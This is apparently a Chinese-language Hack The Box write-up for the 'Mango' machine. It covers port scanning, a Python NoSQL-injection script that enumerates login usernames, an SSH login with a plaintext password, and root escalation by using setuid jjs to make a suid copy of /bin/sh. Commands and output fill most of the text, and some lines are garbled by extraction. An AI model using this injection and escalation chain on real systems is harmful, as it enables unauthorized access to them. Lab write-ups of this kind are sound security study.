┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn --min-rate=10000 -oG allport 10.10.10.162 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-09 20:35 CST Warning: 10.10.10.162 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.162 Host is up (1.1s latency). Not shown: 63824 closed tcp ports (reset), 1708 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 39.51 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p22,80,443 -Pn --min-rate=10000 10.10.10.162 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-09 20:36 CST Nmap scan report for 10.10.10.162 Host is up (0.32s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA) | 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA) |_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519) 80/tcp open http Apache httpd 2.4.29 |_http-title: 403 Forbidden |_http-server-header: Apache/2.4.29 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) | tls-alpn: |_ http/1.1 |_http-title: Mango | Search Base |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN | Not valid before: 2019-09-27T14:21:19 |_Not valid after: 2020-09-26T14:21:19 |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.40 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn -sU --min-rate=10000 -oG allport1 10.10.10.162 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-09 20:37 CST Warning: 10.10.10.162 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.162 Host is up (0.64s latency). All 65535 scanned ports on 10.10.10.162 are in ignored states. Not shown: 65455 open|filtered udp ports (no-response), 80 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 87.38 seconds
3、本地绑定下,发现的域名情况
1 2 3 4 5 6 7 8
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.10.162 mango.htb" | sudo tee -a /etc/hosts 10.10.10.162 mango.htb
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.10.162 staging-order.mango.htb" | sudo tee -a /etc/hosts [sudo] kali 的密码: 10.10.10.162 staging-order.mango.htb
HTTP/1.1 302 Found Date: Tue, 09 Jan 2024 13:02:58 GMT Server: Apache/2.4.29 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: home.php Content-Length: 4022 Connection: close Content-Type: text/html; charset=UTF-8
7、跳转到 home.php 目录,且页面上有些提示信息
http://staging-order.mango.htb/home.php
1 2 3 4
Under Plantation Sorry for the inconvenience. We just started farming! To contact us in the meantime please email: admin@mango.htb We rarely look at our inboxes.
8、这里考察是 NoSQL 注入,获取到目标的用户名和密码的内容,下面的具体枚举的章节内容:
用b.*替换a.*返回200响应,这意味着没有包含b的用户名。编写一个使用此逻辑发现用户名的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from requests import post from string import lowercase url = 'http://staging-order.mango.htb/' def sendPayload(): for char in lowercase: regex = '{}.*'.format(char) data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' } response = post(url, data = data, allow_redirects=False) if response.status_code == 302: print"Found valid letter: {}".format(char) def getUser(): sendPayload() if __name__ == '__main__': getUser()
1 2 3 4 5 6 7 8 9
┌──(kali㉿kali)-[~/桌面] └─$ python2 enum.py Found valid letter: a Found valid letter: d Found valid letter: g Found valid letter: i Found valid letter: m Found valid letter: n Found valid letter: o
┌──(kali㉿kali)-[~/桌面] └─$ ssh mango@10.10.10.162 The authenticity of host '10.10.10.162 (10.10.10.162)' can't be established. ED25519 key fingerprint is SHA256:tzYGTA/kNsB/kThvsmrv2uxaUS/2zS/grRQkrbN4+RE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.162' (ED25519) to the list of known hosts. mango@10.10.10.162's password: Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
System information as of Tue Jan 9 13:47:24 UTC 2024
System load: 0.0 Processes: 101 Usage of /: 57.8% of 5.29GB Users logged in: 0 Memory usage: 14% IP address for eth0: 10.10.10.162 Swap usage: 0%
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch
118 packages can be updated. 18 updates are security updates.
Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138 mango@mango:~$ id uid=1000(mango) gid=1000(mango) groups=1000(mango) mango@mango:~$ pwd /home/mango mango@mango:~$ ls mango@mango:~$
mango@mango:~$ ls -la /home total 16 drwxr-xr-x 4 root root 4096 Oct 23 13:17 . drwxr-xr-x 23 root root 4096 Oct 23 13:17 .. drwxr-xr-x 2 admin admin 4096 Oct 23 13:18 admin drwxr-xr-x 4 mango mango 4096 Oct 23 13:17 mango mango@mango:~$ su admin Password: t9KcS3>!0B#2 $ id uid=4000000000(admin) gid=1001(admin) groups=1001(admin) $ pwd /home/mango $ cd ~ $ pwd /home/admin $ ls user.txt $ cat user.txt 0e9d93bd5a3112edae1f27db5e702022 $
0x02 系统权限获取
12、使用Python获取下交互式shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
$ $ python3 -c 'import pty;pty.spawn("/bin/bash")' To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root"for details.
admin@mango:/home/admin$ sudo -l [sudo] password for admin: Sorry, user admin may not run sudo on mango. admin@mango:/home/admin$ su mango Password: mango@mango:/home/admin$ sudo -l [sudo] password for mango: Sorry, user mango may not run sudo on mango. mango@mango:/home/admin$
mango@mango:~$ su admin Password: $ python3 -c 'import pty;pty.spawn("/bin/bash")' To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root"for details.
admin@mango:/home/mango$ admin@mango:/home/mango$ admin@mango:/home/mango$ jjs Warning: The jjs tool is planned to be removed from a future JDK release For()Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').wait 0 For()Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').wait 0 jjs> jjs> exit functionexit() { [native code] } jjs> quit functionquit() { [native code] } jjs> admin@mango:/home/mango$ cd /tmp admin@mango:/tmp$ ls hsperfdata_root mongodb-27017.sock sh systemd-private-80e8520757ca4ca296157726a81fa8f1-apache2.service-dXww2S systemd-private-80e8520757ca4ca296157726a81fa8f1-systemd-resolved.service-7GqmTu systemd-private-80e8520757ca4ca296157726a81fa8f1-systemd-timesyncd.service-Zu3sDz vmware-root_414-592089511 admin@mango:/tmp$ ./sh -p $ id uid=4000000000(admin) gid=1001(admin) groups=1001(admin) $ jjs Warning: The jjs tool is planned to be removed from a future JDK release or() Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/sh').waitF 0 jjs> $ ls hsperfdata_root mongodb-27017.sock sh systemd-private-80e8520757ca4ca296157726a81fa8f1-apache2.service-dXww2S systemd-private-80e8520757ca4ca296157726a81fa8f1-systemd-resolved.service-7GqmTu systemd-private-80e8520757ca4ca296157726a81fa8f1-systemd-timesyncd.service-Zu3sDz vmware-root_414-592089511 $ ./sh -p # id uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)